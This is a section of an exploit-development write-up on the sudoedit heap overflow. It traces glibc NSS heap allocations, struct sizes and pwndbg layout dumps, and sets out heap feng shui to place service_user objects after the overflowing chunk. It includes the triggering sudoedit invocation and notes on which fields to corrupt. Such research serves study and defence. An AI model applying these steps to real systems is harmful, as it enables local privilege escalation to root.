8. Heap Allocation

So firstly, we will need to understand how to control the heap allocation in future exploit. Actually from the previous sections, we have already had a preliminary view on how those structures are allocated:

To weaponize the overflow, we need to understand how sudo's heap landscape is shaped and—more importantly—how to reliably place our vuln chunk on top of the NSS objects we want to smash.

From earlier analysis, we've already glimpsed how those structures are allocated:

__nss_database_lookup("passwd", ...)
    └─ service_table → name_database (heap; created on first use)
       ├─ entry → name_database_entry("passwd")  
       │           └─ service → service_user("<as in nsswitch.conf order>")
       │                         → next → service_user("<next token>") → ...
       └─ library = NULL initially (head of global service_library list)

__nss_lookup(ni=&service_user("<service>"), "getpwuid_r", ...)
  └─ __nss_lookup_function(ni, "getpwuid_r")
        ├─ tsearch on ni->known (cache)
        ├─ cache miss ⇒ ensure ni->library
        │     └─ nss_new_service(service_table ?: &default_table, ni->name)
        │         ├─ search service_table->library for matching name
        │         └─ if not found ⇒ malloc(service_library) and append
        ├─ if ni->library->lib_handle == NULLnss_load_library(ni)
        │     └─ build "libnss_<name>.so.<rev>"; __libc_dlopen(...)
        │        on failure: lib_handle = (void*)-1l (sentinel)
        ├─ result = __libc_dlsym(ni->library->lib_handle, "_nss_<name>_getpwuid_r")
        └─ store result (or NULL) in ni->known (tsearch node)

8.1. Allocation Backtrace

8.1.1. __nss_database_lookup

At startup, the global root pointer name_database *service_table is uninitialized. On the first call to __nss_database_lookup, glibc allocates it and parses /etc/nsswitch.conf:

C
/* -1 == database not found
    0 == database entry pointer stored */
int
__nss_database_lookup (const char *database, const char *alternate_name,
		       const char *defconfig, service_user **ni)
{
  	...

  	/* Are we initialized yet?  */
  	if (service_table == NULL)
    	/* Read config file.  */
      // [!] parse `/etc/nsswitch.conf`
      // #define	_PATH_NSSWITCH_CONF	"/etc/nsswitch.conf" in netdb.h
    	service_table = nss_parse_file (_PATH_NSSWITCH_CONF);

  	...

So the very first DB lookup (e.g., passwd) triggers the allocation of the process-wide name_database object, by calling nss_parse_file.

8.1.2. nss_parse_file

nss_parse_file is the routine that actually allocates and builds the name_database object on the heap while parsing /etc/nsswitch.conf. The logic lives in the same file at line 542:

C
static name_database *
nss_parse_file (const char *fname)
{
  	FILE *fp;
  	name_database *result;
  	name_database_entry *last;
  	char *line;
  	size_t len;

  	...

    // Allocate the root container on heap
  	result = (name_database *) malloc (sizeof (name_database));	// often a small ~0x20 chunk
  	if (result == NULL)
    	{
    		fclose (fp);
    		return NULL;
    	}

    // Zero out to initialize
  	result->entry = NULL;		// head of the per-database list
  	result->library = NULL;		// process-wide cache of service_library nodes 
  	
    // Line-oriented parse loop
    last = NULL;
  	line = NULL;
  	len = 0;
    
    // A loop to parse `/etc/nsswitch.conf` for constructing the database
  	do
    	{	// Set up an Entry linked list
    		name_database_entry *this;
        	ssize_t n;

   	 	  n = __getline (&line, &len, fp);	// parsing `/etc/nsswitch.conf` into lines
      	...

      	// [!] Construct `name_database_entry` with each parsed line 
        // e.g., 	"passwd:	compat,files"
    		/* Each line completely specifies the actions for a database.  */
    		this = nss_getline (line);	
      	// Build the `name_database_entry` list
    		if (this != NULL)
				{	// Each `this` represents one database (e.g., passwd, hosts)
        	// [!] and contains head of the `service_user` chain for that database
        	// parsed by `nss_getline`  
        	// created by its internal callee `nss_parse_service_list()`
	  			if (last != NULL)
	    			last->next = this;
	  			else
	    			result->entry = this;	// Links entries: head of DB list

	  			last = this;
				}
    	}
  	...
    return result;
}

In conclusion, this function:

  • Allocates a name_database (small struct → 0x20-sized heap chunk on x86-64).
  • Builds a linked list of name_database_entry nodes (one per database line), each holding:
    • entry->name (e.g., "passwd", "hosts", …)
    • entry->service → the head service_user chain for that DB (produced by nss_parse_service_list).
  • Returns the root name_database *result, whose entry is the head of this linked list.

So the heap now looks like:

[name_database]
   └── entry → [name_database_entry("passwd")]
                   └── service → [service_user("compat")]
                                   → next → [service_user("systemd")]

Later, __nss_database_lookup() will walk this list (result->entry) and set *ni = entry->service, handing back the service_user chain for whichever database was requested.

The returned name_database *result is constructed by name_database_entry *this:

result->entry = this;

And the name_database_entry *this is constructed by nss_getline with each parsed line text from /etc/nsswitch.conf:

this = nss_getline (line);

Here's where we are going to dive in and continue to inspect how it constructs an entry.

8.1.3. nss_getline

The nss_getline() function parses each non-blank, non-comment line from /etc/nsswitch.conf into a name_database_entry. It forges the structure as shown at line 765:

C
static name_database_entry *
nss_getline (char *line)
{
	const char *name;
	name_database_entry *result;	// name_database_entry
	size_t len;

	// Just parsing logic
	while (isspace (line[0]))
  	++line;		// Skip leading spaces

	/* Recognize `<database> ":"'.  */
	name = line;
  // Extract the database name up to ':' or whitespace
  // e.g.,	passwd:		db files
	while (line[0] != '\0' && !isspace (line[0]) && line[0] != ':')
  	++line;
	if (line[0] == '\0' || name == line)
  	/* Syntax error.  */
  	return NULL;
	*line++ = '\0';		// terminate the name and advance past the ':'

	len = strlen (name) + 1;

  // Allocate the result node with an inline name
	result = (name_database_entry *) malloc (sizeof (name_database_entry) + len);	// heap allocation
	if (result == NULL)
  	return NULL;

	/* Save the database name.  */
	memcpy (result->name, name, len);	// DB name (“passwd”, …)

	/* Parse the list of services.  */
	result->service = nss_parse_service_list (line);	// register per-DB service chain

	result->next = NULL;
	return result;
}

Overall, it records:

  • the database name (e.g., "passwd", "hosts"), and
  • the head of the service chain (service_user *service) for that database.

So every line like:

passwd:			    compat systemd

becomes:

[name_database_entry "passwd"]
      └─ service → [service_user "compat"][service_user "files"]

The service list is constructed via newly initialized service_user objects, according to the called nss_parse_service_list at the end of the logic.

8.1.4. nss_parse_service_list

The nss_parse_service_list() function, defined at line 617, shows how a per-database service_user chain is built:

C
/* Read the source names:
	`( <source> ( "[" "!"? (<status> "=" <action> )+ "]" )? )*'
   */
static service_user *
nss_parse_service_list (const char *line)
{
  service_user *result = NULL, **nextp = &result;

  while (1) 
    {
      // 1) skip spaces; stop if end-of-line
      while (isspace(line[0])) ++line;
          ...

      // 2) parse a service name token
      name = line;
      while (line[0] != '\0' && !isspace (line[0]) && line[0] != '[')
          ++line;
          ...

      // 3) allocate service_user (+ name bytes) and set defaults
      new_service = (service_user *) malloc (sizeof (service_user)
                                              + (line - name + 1));	// heap allocation
      ...

      /* Set default actions.  */
      new_service->actions[2 + NSS_STATUS_TRYAGAIN] = NSS_ACTION_CONTINUE;
      new_service->actions[2 + NSS_STATUS_UNAVAIL] = NSS_ACTION_CONTINUE;
      new_service->actions[2 + NSS_STATUS_NOTFOUND] = NSS_ACTION_CONTINUE;
      new_service->actions[2 + NSS_STATUS_SUCCESS] = NSS_ACTION_RETURN;
      new_service->actions[2 + NSS_STATUS_RETURN] = NSS_ACTION_RETURN;
      new_service->library = NULL;	// [!] library default set to NULL, bound later
      new_service->known = NULL;		// tsearch root
      new_service->next = NULL;		  // forms the per-DB chain
      ...

      // 4) if a “[ ... ]” policy follows, parse and apply it
      if (line[0] == '[')
          ...

      // 5) append the node to the list and continue
      *nextp = new_service;
      nextp  = &new_service->next;
      continue;

      // (on parse error: free the just-allocated node and return the list built so far)
      finish:
        free (new_service);
        return result;
    }
}

The return value (result) is the singly-linked chain of services that lives in each name_database_entry->service:

service_user("svc1") -> service_user("svc2") -> ...

Each service_user node encapsulates:

  • name[] → the service string ("files", "db", "dns", …).
  • actions[] → per-status control flow (CONTINUE, RETURN, …), possibly overridden by [...] policy.
  • library = NULL → ensures the first use will allocate a corresponding service_library.
  • known = NULL → a per-service function-pointer cache, filled on demand by __nss_lookup_function().
  • next → links to the next service in the same DB chain.

This list is attached back in nss_getline() as entry->service. Later, when __nss_database_lookup() resolves a DB like "passwd", it hands callers a pointer to this chain (*ni = entry->service).

Each service_user has exactly one .library pointer. This points into the process-wide service_library list, which deduplicates by service name across all databases.

8.2. Service Workflow

As noted earlier, the service_library (deduplicated per service name, shared process-wide) lives off name_database->library. It is not constructed during the parse stage, but instead lazily created on first use by nss_load_library:

C
if (ni->library == NULL) {
  	static name_database default_table;
  	ni->library = nss_new_service (service_table ?: &default_table, ni->name);
}

Inside, nss_new_service() walks the global service_library list and returns an existing node for that service name; otherwise it allocates a fresh one on the heap and appends it:

C
service_library **currentp = &database->library;
while (*currentp != NULL) {
  	if (strcmp ((*currentp)->name, name) == 0)
    	return *currentp;               // reuse existing
  	currentp = &(*currentp)->next;
}

// Not found → allocate new node
*currentp = (service_library *) malloc (sizeof (service_library));      // heap allocation
(*currentp)->name = name;               // points at the service name string
(*currentp)->lib_handle = NULL;         // [!] not loaded yet
(*currentp)->next = NULL;
return *currentp;

On the first symbol resolution for that service, __nss_lookup_function() drives the process:

  • nss_load_library(ni)
    • If ni->library->lib_handle == NULL, constructs "libnss_<name>.so.<rev>" and dlopens it.
    • If it fails, caches (void*)-1l so future lookups won't retry automatically.
  • Then dlsym("_nss_<name>_<func>"), storing the pointer in the per-service cache tree ni->known.

The order of service_user nodes is exactly the order of tokens in /etc/nsswitch.conf. For example, a line like "passwd: compat systemd" produces a chain:

service_user("compat")service_user("systemd")

Notes that matter:

  • service_table is a global pointer in .bss/.data; the objects it points to (name_database, name_database_entry, service_user, service_library) are all heap-allocated via malloc.
  • The service_library list is global (under service_table->library) and deduplicated by service name; many service_user nodes (across different databases) can point to the same service_library.
  • Failure sentinel: if a prior dlopen failed, lib_handle is set to (void*)-1l. To force a fresh load, we will need to flip it back to NULL.
  • Rebinding after corruption: if we change service_user->name[] and want glibc to pick a different service_library, also set service_user->library = NULL so nss_new_service() runs again.

8.2. Heap Sizes

The allocation sizes of NSS structs (rounded by glibc's allocator rules) are critical for heap shaping.

Recall for x86-64 glibc:

  • Malloc request → user size is rounded up to a 16-byte multiple.
  • Chunk size in the heap = aligned_user_size + 0x10 (16-byte chunk header).
  • Minimum chunk size when freed is 0x20.

8.2.1. name_database

name_database is the root global struct.

Source:

C
result = (name_database *) malloc(sizeof(name_database));

Struct layout:

C
typedef struct name_database {
    name_database_entry *entry;   // 8
    service_library *library;     // 8
} name_database;                  // sizeof = 16 (0x10)

Confirmed in GDB:

pwndbg> ptype /o name_database
type = struct name_database {
/*    0      |     8 */    name_database_entry *entry;
/*    8      |     8 */    service_library *library;

                           /* total size (bytes):   16 */
                         }

pwndbg> p sizeof(name_database)
$1 = 16

After allocator rounding, name_database always sits in a 0x20 chunk.

8.2.2. name_database_entry

The name_database_entry struct is allocated for one per DB line like passwd:.

Source (in nss_getline):

C
result = (name_database_entry *) malloc(sizeof(name_database_entry) + len);

where len = strlen(db_name) + 1.

Struct pre-tail:

C
typedef struct name_database_entry {
    struct name_database_entry *next; // 8
    service_user *service;            // 8
    char name[0];                     // flex tail
} name_database_entry;                // base sizeof = 16 (0x10)

Formula:

C
request = 0x10 + (strlen(db_name) + 1)
aligned = align16(request)

Examples (common DB names):

DB namestrlen+1requestaligned
"passwd"70x170x20
"group"60x160x20
"shadow"70x170x20
"hosts"60x160x20
"netgroup"90x190x30

Confirmed in GDB:

pwndbg> ptype /o name_database_entry
type = struct name_database_entry {
/*    0      |     8 */    struct name_database_entry *next;
/*    8      |     8 */    service_user *service;
/*   16      |     0 */    char name[];

                           /* total size (bytes):   16 */
                         }

pwndbg> p sizeof(name_database_entry)
$2 = 16

So, after allocator rounding along with the name[] string added, name_database_entry chunks are typically 0x20 (occasionally 0x30 if the DB name is long).

8.2.3. service_user

The service_user object is one per service token on that parsed DB line.

Source (in nss_parse_service_list):

C
new_service = (service_user *) malloc(sizeof(service_user) + (line - name + 1));

Layout on x86-64:

C
typedef struct service_user {
    struct service_user *next;     // +0x00 (8)
    lookup_actions actions[5];     // +0x08 (5 * 4 = 20), +0x04 pad → 24 total
    service_library *library;      // +0x20 (8)
    void *known;                   // +0x28 (8)
    char name[0];                  // +0x30  ← flex tail starts here
} service_user;                    // base sizeof = 0x30 (48)

Formula:

C
request = 0x30 + (strlen(service_name) + 1)
aligned = align16(request)

Examples (common service names):

service namestrlen+1requestaligned
"files"60x360x40
"db"30x330x40
"dns"40x340x40
"compat"70x370x40
"systemd"80x380x40
"myhostname"110x3B0x50
"nis"40x340x40

Confirmed in GDB:

pwndbg> ptype /o service_user
type = struct service_user {
/*    0      |     8 */    struct service_user *next;
/*    8      |    20 */    lookup_actions actions[5];
/* XXX  4-byte hole  */
/*   32      |     8 */    service_library *library;
/*   40      |     8 */    void *known;
/*   48      |     0 */    char name[];

                           /* total size (bytes):   48 */
                         }

pwndbg> p sizeof(service_user)
$3 = 48

In practice, after allocator rounding along with the name[] string added, service_user chunks are almost always 0x40 (occasionally 0x50 if the service name is long).

8.2.4. service_library

The service_library target object is per service name, deduped & shared.

Source (in nss_new_service):

C
*currentp = (service_library *) malloc(sizeof(service_library));	// edi=0x18

Struct layout:

C
typedef struct service_library {
    const char *name;              // 8
    void *lib_handle;              // 8
    struct service_library *next;  // 8
} service_library;                 // sizeof = 24 (0x18)

Confirmed in GDB:

pwndbg> ptype /o service_library
type = struct service_library {
/*    0      |     8 */    const char *name;
/*    8      |     8 */    void *lib_handle;
/*   16      |     8 */    struct service_library *next;

                           /* total size (bytes):   24 */
                         }

pwndbg> p sizeof(service_library)
$4 = 24

request = 0x18 → aligned = 0x20 → Here const char *name is a pointer, so service_library chunks are always 0x20.

These sizes give us the blueprint for heap fengshui around NSS targets.

8.3. Allocation Order

Knowing the sizes of our target chunk objects, we can predict bin classes: 0x20, 0x30, 0x40 are fastbin/tcache-sized on glibc.

8.3.1. Debugging NSS

To confirm our allocation sequence, we can step through with GDB and trace the malloc calls that forge each NSS object. Recall the order:

name_database → name_database_entry → service_user → service_library

Function call chain:

__nss_database_lookup  
   → nss_parse_file  
      → nss_getline  
         → nss_parse_service_list  
            → (later) nss_new_service

Lookup the following mallocs at each call:

# create name_database
pwndbg> list nss_parse_file					
557       name_database_entry *last;
558       char *line;
559       size_t len;

pwndbg> forward-search malloc	
569       result = (name_database *) malloc (sizeof (name_database));

# create name_database_entry
pwndbg> list nss_getline					
781
782       /* Ignore leading white spaces.  ATTENTION: this is different from
783          what is implemented in Solaris.  The Solaris man page says a line

pwndbg> forward-search malloc
800       result = (name_database_entry *) malloc (sizeof (name_database_entry) + len);

# create service_user
pwndbg> list nss_parse_service_list
624     /* Read the source names:
625             `( <source> ( "[" "!"? (<status> "=" <action> )+ "]" )? )*'
626        */

pwndbg> forward-search malloc
651           new_service = (service_user *) malloc (sizeof (service_user)

# init service_library
pwndbg> list nss_new_service
814
815     #if !defined DO_STATIC_NSS || defined SHARED
816     static service_library *

pwndbg> forward-search malloc
829       *currentp = (service_library *) malloc (sizeof (service_library));

To be notice, the line number in Ubuntu glibc source could be slightly different than the one in original GNU glibc source.

Now that we've located the exact malloc lines, set line breakpoints there and we can start our debugging journey:

Bash
gdb -q \
  	-ex 'set pagination off' \
  	-ex 'set breakpoint pending on' \
  	-ex 'b nss/nsswitch.c:569' \
  	-ex 'b nss/nsswitch.c:800' \
  	-ex 'b nss/nsswitch.c:651' \
  	-ex 'b nss/nsswitch.c:829' \
  	--args $HOME/fuzz/proj/sudo-1.9.5p1/install/bin/sudoedit \
  		      -s '\'  aaaaaaaaaaaaaaaa

At startup, __nss_database_lookup sees service_table == NULL and invokes nss_parse_file to allocate the global root name_database, by parsing /etc/nsswitch.conf:

fuzz_sudo_1-48

A 0x20 chunk at 0x555555802720 (header address) is allocated. Call this #chunk0:

fuzz_sudo_1-49

Initialized with entry = NULL, library = NULL:

fuzz_sudo_1-50

Next, the parser loop hits the first valid DB line — "passwd:" — and calls nss_getline. This forges a name_database_entry for "passwd":

fuzz_sudo_1-51

The allocator returns another 0x20 chunk, named #chunk1:

fuzz_sudo_1-52

Inside nss_getline, it delegates to nss_parse_service_list to build the service_user chain for this DB. When the line "passwd: compat systemd" is parsed:

fuzz_sudo_1-53

When it done extracting the "line", the first service_user "compat" is allocated in a 0x40 chunk, #chunk2:

fuzz_sudo_1-54

After creating the first service_user object of "compat" from the parsed "line", it continues to initialize the 2nd "systemd" service → another 0x40 chunk, #chunk3:

fuzz_sudo_1-55

At the end of nss_parse_service_list, we have the linked list head ready:

fuzz_sudo_1-56

Since there're other members in the /etc/nsswitch.conf, the parser moves on: next DB "group". A new name_database_entry gets allocated, 0x20 chunk, #chunk4:

fuzz_sudo_1-57

Its service_user chain contains two services, each yielding a 0x40 chunk: #chunk5 and #chunk6:

fuzz_sudo_1-58

This loop continues until the final DB line ("netgroup" in our test).

From earlier analysis, we know glibc's getgrouplist() queries the "group" and "netgroup" databases, not "passwd". So the interesting victim chunks for us are #chunk5 or #chunk6 — exactly the service_user objects that our overflow might later taint.

8.3.2. Heap Layout

The service_table object lives in #chunk0 (0x20-sized), and points to the first database entry — "passwd":

fuzz_sudo_1-59
pwndbg> ptype *(name_database*)($chunk0+0x10)
type = struct name_database {
    name_database_entry *entry;
    service_library *library;
}

pwndbg> p *(name_database*)($chunk0+0x10)
$82 = {
  entry = 0x555555802df0,
  library = 0x0
}

That entry is #chunk1, which then links to its service_user chain (#chunk2, #chunk3 for "compat" and "systemd"). The list continues as more DBs (group, netgroup, …) are parsed, forming:

fuzz_sudo_1-60

#chunk1 then links to its service_user chain (#chunk2, #chunk3 for "compat" and "systemd"). The list continues as more DBs (group, netgroup, …) are parsed, forming:

#chunk0 (name_database)
 └─ #chunk1 (entry: "passwd")
     └─ #chunk2 (svc: "compat")
     └─ #chunk3 (svc: "systemd")
 └─ #chunk4 (entry: "group")
     └─ #chunk5 (svc: "compat")
     └─ #chunk6 (svc: "systemd")
 ...

These entries and service chains are mostly carved out of a large unsorted bin chunk, freed at the end of nss_parse_file when it calls:

/* Free the buffer.  */
free (line);	// [!] Free to unsorted bin

But not always — allocations of different sizes (0x20, 0x30, 0x40) may reuse older freed chunks.

Dumping the first wave confirms the layout:

pwndbg> p *(name_database_entry*)($chunk1+0x10)
$88 = {
  next = 0x555555802e90,
  service = 0x555555802e10,
  name = 0x555555802e00 "passwd"
}

pwndbg> p *(service_user*)($chunk2+0x10)
$89 = {
  next = 0x555555802e50,
  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
  library = 0x0,
  known = 0x0,
  name = 0x555555802e40 "compat"
}

pwndbg> p *(service_user*)($chunk3+0x10)
$90 = {
  next = 0x0,
  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
  library = 0x0,
  known = 0x0,
  name = 0x555555802e80 "systemd"
}

pwndbg> p *(name_database_entry*)($chunk4+0x10)
$91 = {
  next = 0x555555802f30,
  service = 0x555555802eb0,
  name = 0x555555802ea0 "group"
}

pwndbg> p *(service_user*)($chunk5+0x10)
$92 = {
  next = 0x555555802ef0,
  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
  library = 0x0,
  known = 0x0,
  name = 0x555555802ee0 "compat"
}

pwndbg> p *(service_user*)($chunk6+0x10)
$93 = {
  next = 0x0,
  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
  library = 0x0,
  known = 0x0,
  name = 0x555555802f20 "systemd"
}

...
Expand

Later, once nss_load_library runs, each service_user->library is bound to a service_library node (also heap-allocated, 0x20-sized) under the global root. Example:

pwndbg> p *(name_database*)($chunk0+0x10)
$103 = {
  entry = 0x555555802df0,
  library = 0x555555803470
}

pwndbg> p *(service_user*)($chunk2+0x10)
$104 = {
  next = 0x555555802e50,
  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
  library = 0x555555803470,
  known = 0x555555803430,
  name = 0x555555802e40 "compat"
}

pwndbg> tel 0x555555803470 
00:0000│  0x555555803470 —▸ 0x555555802e40 ◂— 0x7461706d6f63 /* 'compat' */
01:0008│  0x555555803478 —▸ 0x555555803dc0 —▸ 0x7ffff6c83000 ◂— jg 0x7ffff6c83047
02:0010│  0x555555803480 ◂— 0x0
03:0018│  0x555555803488 ◂— 0x41 /* 'A' */
04:0020│  0x555555803490 ◂— '/lib/x86_64-linux-gnu/libnss_compat.so.2'

If we paid attention earlier, we notice that the "name" of service_library structure is it first member, with a constant size of 0x8. It always points to a string, which locates at the corresponding service_user's name[] field:

fuzz_sudo_1-63

So with various length of service names, service_library will maintain the size of 0x20; while the service_user size is not always 0x40, when it needs to store a long name string like "myhostname":

fuzz_sudo_1-61

The linked list is not guaranteed contiguous; e.g., "hosts" entry's next points far away because "networks" (9 chars) forced a 0x30-sized chunk, reusing an early freed chunk cached in the tcachebin list. So it is now allocated at a chunk used in the very beginning of the program life cycle:

fuzz_sudo_1-62

Well, this behavior lightens us up—if we can manage to free specific chunk sizes (e.g., 0x20, 0x40) into the tcache in a controlled order, the Heap Feng Shui technique will let us position the target objects directly beneath the vuln chunk.

We will soon detail this strategy—do read on.